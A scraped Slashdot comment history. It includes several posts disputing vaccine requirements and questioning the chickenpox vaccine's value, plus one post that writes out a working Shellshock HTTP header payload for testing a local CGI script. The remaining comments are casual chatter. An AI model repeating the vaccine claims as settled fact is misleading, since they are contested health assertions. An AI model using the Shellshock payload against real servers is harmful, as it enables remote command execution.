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Comment: Re:There is no vaccine for the worst diseases (Score 0) 1051

by Belial6 (#48592609) Attached to: Time To Remove 'Philosophical' Exemption From Vaccine Requirements?
This is exactly the kind of MD convinces people not to immunize their children. Claiming that anything that is labeled as a "vaccine" is inherently good is dogma beyond sanity. He then claims that most people who died from chickenpox had no known conditions that put them at a higher risk. This is gross incompetence. It has been well known for hundreds of years that being an adult is a health condition know to put you at higher risk. That is why while only 5% of the infections are in adults, 50% of the deaths are in adults. (Yes, it was 50-50, not 10-90, point still stands)

Sure, the the rate of infection has gone down, but the vaccine has already shown to only give temporary protection. That is why they now recommend a booster. We don't know how long that booster will last. This leaves many people sitting as time bombs to catch it as adults with a medical condition that dramatically increases.

You then try to claim that the chicken pox vaccine, or the flu vaccines are "comparable" to the polio vaccine? Again, this is why people lose trust in you. They know that they are not comparable, and you lose credibility, and your response is to start name calling. You are personally responsible for convincing people not to vaccinate their children. When kids die of Measles, it is on your hands.

As for doctors doing things that would harm their children, your kitchen is all that needs to be shown to know that you will happily put your child at far more risk for your personal convenience than anyone who would skip the chicken pox vaccine.

Again, you are the one who is convincing people to skip the Measles, Polio, Mumps, and Rubella vaccines. You tell bad lies, and then when it is pointed out, you start calling people names. Do you really find that people take your medical advice when they hear you calling people "moron"? Not likely. The death of children from MMR vaccine preventable diseases is on your hands.

Comment: Re:There is no vaccine for the worst diseases (Score 1) 1051

by Belial6 (#48586323) Attached to: Time To Remove 'Philosophical' Exemption From Vaccine Requirements?

- by providing an alternative vaccination schedule for those who worry about the regular one, e.g. by permitting individual M,M,R vaccinations as opposed to one big cocktail (right now people can't, even if they're willing to foot the bill for it).

The fact that this is not already done should throw a red flag up for any sane person. If making sure that as many people as possible are getting the three vaccines for the benefit of society as a whole, there is no ethical excuse for leaving people vaccinated because you don't want to give them the vaccines separately.

Comment: Re:There is no vaccine for the worst diseases (Score 0) 1051

by Belial6 (#48586255) Attached to: Time To Remove 'Philosophical' Exemption From Vaccine Requirements?
As a pediatrician, how do you rationalize recommending the chicken pox vaccine? As an MD and a "scientist", you surely know that vaccines are a class of medicine, not a single medicine. So, saying anything positive of negative about the outcome of vaccines can only be used to discuss whether the basic concept is sound. It cannot dictate whether all vaccines are good or bad.

You have surely seen the statistics on chicken pox. It has a mortality rate of ~100-120 people a year. 10-12 of those are children for the entire US. So, from your list of dangerous things, chicken pox shouldn't even show up on the radar. As a pediatrician, you surely have also seen that the chicken pox vaccine has failed to give permanent immunity, and you are surely aware that the risk to adults from chicken pox is 10x that of children.

So, as a medical doctor, how do you rationalize increasing a person's risk of mortality by 10x? How do you continue to push the agenda that all vaccines are created equal? How do you rationalize having a kitchen in your home and cooking home cooked meals for your children when you are surely aware that that 3x as many people burn to death in their kitchen every year than died of chicken pox pre-vaccine? And home cooked meal deaths are 100% preventable.

Comment: Re:There is no vaccine for the worst diseases (Score 2) 1051

by Belial6 (#48586099) Attached to: Time To Remove 'Philosophical' Exemption From Vaccine Requirements?
Which is why the philosophical exemption should not be removed. We have moved away from science based decisions concerning vaccines and moved into indoctrination. The chicken pox vaccine is a perfect example. The data shows that it is likely to increase the long term threat to the population, yet it is on the list of 'required' vaccines. If parents couldn't bail out of vaccines, you can bet that the business of vaccination would go to a whole new level, and we will have some truly dangerous drugs being injected into our children.

Comment: Re:huh? (Score 1) 269

by menkhaura (#48004467) Attached to: 2015 Corvette Valet Mode Recorder Illegal In Some States

I'd love to have a real-life device like that for my car and my bike.

However, not long ago a man was arrested here in Brazil because the trap he made to catch a thief who repeatedly invaded his house killed the vermin. The police didn't act to stop the thefts, only when the victim decided to stand up for himself the law came forward. Against him.

Comment: Re:Not arbitrary variables - QUERY_STRING (Score 4, Informative) 399

by menkhaura (#47987669) Attached to: Remote Exploit Vulnerability Found In Bash

Setup a local cgi script on your Linux machine. Telnet into its port 80. Assuming your cgi script is at /cgi-bin/test.sh, type the following in the telnet prompt:


GET /cgi-bin/um.pl HTTP/1.1
Host: localhost
Custom: () { :; }; while read -r l; do echo $l; done

Press ENTER twice after the last header.

If you don't use a shell builtin, the shell ends with a segfault and Apache shows an error, but the command is executed server-side. Scary.

Comment: Re:Very skeptical (Score 1) 471

by menkhaura (#47873137) Attached to: Ask Slashdot: What Smartwatch Apps Could You See Yourself Using?

My watch has a clock app and a slide-rule app, long battery life (3+ years), water proof to 200m (657 ft), and a user interface proven to work well over the centuries. Only thing that doesn't match your requirements is price is around 200 dollars. It's kinda hard to install new apps too.

After any salary raise, you will have less money at the end of the month than you did before.

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